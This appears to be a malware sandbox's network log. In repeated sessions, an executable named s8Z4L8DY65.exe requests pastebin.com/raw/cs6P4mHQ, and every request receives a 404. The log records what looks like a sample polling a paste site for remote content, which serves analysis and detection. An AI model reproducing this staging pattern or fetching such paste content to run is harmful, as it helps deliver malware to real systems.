2024-07-02 14:29:57 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 41 Server: cloudflare CF-RAY: 89cf54b87ced4273-EWR
2024-07-02 14:29:57 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:29:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	54772	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:00 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:00 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 44 Server: cloudflare CF-RAY: 89cf54cf5cde43d7-EWR
2024-07-02 14:30:00 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	54773	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:04 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:04 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 48 Server: cloudflare CF-RAY: 89cf54e42dcbc358-EWR
2024-07-02 14:30:04 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	54775	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:07 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:07 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 51 Server: cloudflare CF-RAY: 89cf54f7cd2e43a9-EWR
2024-07-02 14:30:07 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	54777	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:10 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:10 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 54 Server: cloudflare CF-RAY: 89cf550b4b6943e8-EWR
2024-07-02 14:30:10 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	54778	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:13 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:13 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 57 Server: cloudflare CF-RAY: 89cf551ccfd441fb-EWR
2024-07-02 14:30:13 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	54779	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:15 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:15 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 59 Server: cloudflare CF-RAY: 89cf552c2eda17fd-EWR
2024-07-02 14:30:15 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	54780	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:18 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:18 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 62 Server: cloudflare CF-RAY: 89cf553f5dbf43c5-EWR
2024-07-02 14:30:18 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	54781	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:21 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:21 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 65 Server: cloudflare CF-RAY: 89cf554e1ecd0cae-EWR
2024-07-02 14:30:21 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	54782	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:22 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:23 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 67 Server: cloudflare CF-RAY: 89cf555a1f4315af-EWR
2024-07-02 14:30:23 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	54783	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:24 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:30:24 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 68 Server: cloudflare CF-RAY: 89cf55655c6741a9-EWR
2024-07-02 14:30:24 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	54784	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:26 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:26 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 70 Server: cloudflare CF-RAY: 89cf556fba545e65-EWR
2024-07-02 14:30:26 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:30:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	54785	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:30:27 UTC	74	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-07-02 14:30:28 UTC	444	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 72 Server: cloudflare CF-RAY: 89cf5579793043ef-EWR
